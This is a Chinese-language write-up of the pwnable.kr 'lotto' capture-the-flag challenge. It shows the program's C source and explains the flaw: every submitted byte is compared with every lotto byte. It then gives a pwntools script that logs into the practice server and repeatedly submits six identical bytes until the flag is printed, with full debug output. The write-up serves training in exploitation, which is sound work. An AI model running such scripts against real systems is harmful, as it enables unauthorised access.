PWN lotto [pwnable.kr]CTF writeup题解系列10

帅比萌擦擦* 提交于 2020-01-19 00:57:42

目录

 

0x01题目

0x02解题思路

0x03题解


0x01题目

 

0x02解题思路

下载文件,检查一下情况

root@mypwn:/ctf/work/pwnable.kr# ssh lotto@pwnable.kr -p2222
lotto@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Wed Jan  1 09:01:04 2020 from 64.43.135.184
lotto@prowl:~$ ls -la
total 44
drwxr-x---   5 root      lotto  4096 Oct 23  2016 .
drwxr-xr-x 116 root      root   4096 Nov 12 21:34 ..
d---------   2 root      root   4096 Feb 18  2015 .bash_history
-r--r-----   1 lotto_pwn root     55 Feb 18  2015 flag
dr-xr-xr-x   2 root      root   4096 Feb 18  2015 .irssi
-r-sr-x---   1 lotto_pwn lotto 13081 Feb 18  2015 lotto
-r--r--r--   1 root      root   1713 Feb 18  2015 lotto.c
drwxr-xr-x   2 root      root   4096 Oct 23  2016 .pwntools-cache

打开c语言代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

有点懵逼,直接用的随机数产生器是 /dev/urandom,不存在伪随机数种子的情况。

看了一会题目之后,直接gdb跟进去看看吧。

跟了一会,发现怎么一直在循环

这个是对比的随机数,不太对,正常对比,只要一次对比操作就行了。

刚刚没有仔细看代码

  for ( j = 0; j <= 5; ++j )
  {
    for ( k = 0; k <= 5; ++k )
    {
      if ( buf[j] == submit[k] )
        ++v3;
    }
  }
  if ( v3 == 6 )
    system("/bin/cat flag");
  else
    puts("bad luck...");

 竟然每个字节和每个字节做对比,然后叠加次数,我晕倒!

那就简单了,直接选择一个中间数,比如输入六个0x12,0x121212121212,然后就反复执行,等待随机数中有一个出现0x12就好了

0x03题解

直接给出python爆破脚本

#coding:utf8
#!/usr/bin/env python
 
from pwn import *
 
context.log_level = 'debug'
process_name = './lotto'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
s = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
p = s.process(executable='/home/lotto/lotto')
# elf = ELF(process_name)

def send_payload(n):
	p.sendlineafter('3. Exit\n', str(1))
	p.sendlineafter('Submit your 6 lotto bytes : ', str('\x12'*6))

for x in xrange(1,100):
	send_payload(x)
	p.recvline()
	result = p.recvline()
	if result == 'bad luck...\n':
		log.info('failed\n')
	else:
		log.info('succeed\n')
		break;


p.interactive()

执行结果如下:

root@mypwn:/ctf/work/pwnable.kr# python lotto.py 
[+] Connecting to pwnable.kr on port 2222: Done
[*] input2@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[DEBUG] Created execve script:
    #!/usr/bin/env python2
    import os, sys, ctypes, resource, platform, stat
    from collections import OrderedDict
    exe   = '/home/lotto/lotto'
    argv  = []
    env   = None
    
    os.chdir('.')
    
    if env is not None:
        os.environ.clear()
        os.environ.update(env)
    else:
        env = os.environ
    
    def is_exe(path):
        return os.path.isfile(path) and os.access(path, os.X_OK)
    
    PATH = os.environ.get('PATH','').split(os.pathsep)
    
    if os.path.sep not in exe and not is_exe(exe):
        for path in PATH:
            test_path = os.path.join(path, exe)
            if is_exe(test_path):
                exe = test_path
                break
    
    if not is_exe(exe):
        sys.stderr.write('3\n')
        sys.stderr.write("{} is not executable or does not exist in $PATH: {}".format(exe,PATH))
        sys.exit(-1)
    
    if not True:
        PR_SET_NO_NEW_PRIVS = 38
        result = ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)
    
        if result != 0:
            sys.stdout.write('3\n')
            sys.stdout.write("Could not disable setuid: prctl(PR_SET_NO_NEW_PRIVS) failed")
            sys.exit(-1)
    
    try:
        PR_SET_PTRACER = 0x59616d61
        PR_SET_PTRACER_ANY = -1
        ctypes.CDLL('libc.so.6').prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0)
    except Exception:
        pass
    
    # Determine what UID the process will execute as
    # This is used for locating apport core dumps
    suid = os.getuid()
    sgid = os.getgid()
    st = os.stat(exe)
    if True:
        if (st.st_mode & stat.S_ISUID):
            suid = st.st_uid
        if (st.st_mode & stat.S_ISGID):
            sgid = st.st_gid
    
    if sys.argv[-1] == 'check':
        sys.stdout.write("1\n")
        sys.stdout.write(str(os.getpid()) + "\n")
        sys.stdout.write(str(os.getuid()) + "\n")
        sys.stdout.write(str(os.getgid()) + "\n")
        sys.stdout.write(str(suid) + "\n")
        sys.stdout.write(str(sgid) + "\n")
        sys.stdout.write(os.path.realpath(exe) + '\x00')
        sys.stdout.flush()
    
    for fd, newfd in {0: 0, 1: 1, 2:2}.items():
        if newfd is None:
            close(fd)
        elif isinstance(newfd, str):
            os.close(fd)
            os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
        elif isinstance(newfd, int) and newfd != fd:
            os.dup2(fd, newfd)
    
    if not True:
        if platform.system().lower() == 'linux' and True is not True:
            ADDR_NO_RANDOMIZE = 0x0040000
            ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)
    
        resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
    
    # Attempt to dump ALL core file regions
    try:
        with open('/proc/self/coredump_filter', 'w') as core_filter:
            core_filter.write('0x3f\n')
    except Exception:
        pass
    
    # Assume that the user would prefer to have core dumps.
    try:
        resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
    except Exception:
        pass
    
    def func(): pass
    apply(func, [])
    
    os.execve(exe, argv, env)
[+] Starting remote process execve('/home/lotto/lotto', [], os.environ) on pwnable.kr: pid 371061
[DEBUG] Received 0x2f bytes:
    00000000  31 0a 33 37  31 30 36 31  0a 31 30 32  33 0a 31 30  │1·37│1061│·102│3·10│
    00000010  32 33 0a 31  30 32 34 0a  31 30 32 33  0a 2f 68 6f  │23·1│024·│1023│·/ho│
    00000020  6d 65 2f 6c  6f 74 74 6f  2f 6c 6f 74  74 6f 00     │me/l│otto│/lot│to·│
    0000002f
[DEBUG] Received 0x2e bytes:
    '- Select Menu -\n'
    '1. Play Lotto\n'
    '2. Help\n'
    '3. Exit\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1c bytes:
    'Submit your 6 lotto bytes : '
[DEBUG] Sent 0x7 bytes:
    00000000  12 12 12 12  12 12 0a                               │····│···│
    00000007
[DEBUG] Received 0x47 bytes:
    'Lotto Start!\n'
    'bad luck...\n'
    '- Select Menu -\n'
    '1. Play Lotto\n'
    '2. Help\n'
    '3. Exit\n'
[*] failed
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1c bytes:
    'Submit your 6 lotto bytes : '
[DEBUG] Sent 0x7 bytes:
    00000000  12 12 12 12  12 12 0a                               │····│···│
    00000007
[DEBUG] Received 0x47 bytes:
    'Lotto Start!\n'
    'bad luck...\n'
    '- Select Menu -\n'
    '1. Play Lotto\n'
    '2. Help\n'
    '3. Exit\n'
[*] failed
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1c bytes:
    'Submit your 6 lotto bytes : '
[DEBUG] Sent 0x7 bytes:
    00000000  12 12 12 12  12 12 0a                               │····│···│
    00000007
[DEBUG] Received 0x47 bytes:
    'Lotto Start!\n'
    'bad luck...\n'
    '- Select Menu -\n'
    '1. Play Lotto\n'
    '2. Help\n'
    '3. Exit\n'
[*] failed
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1c bytes:
    'Submit your 6 lotto bytes : '
[DEBUG] Sent 0x7 bytes:
    00000000  12 12 12 12  12 12 0a                               │····│···│
    00000007
[DEBUG] Received 0x72 bytes:
    'Lotto Start!\n'
    'sorry mom... I FORGOT to check duplicate numbers... :(\n'
    '- Select Menu -\n'
    '1. Play Lotto\n'
    '2. Help\n'
    '3. Exit\n'
[*] succeed
[*] Switching to interactive mode
- Select Menu -
1. Play Lotto
2. Help
3. Exit
$ 
[*] Interrupted
root@mypwn:/ctf/work/pwnable.kr# 

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!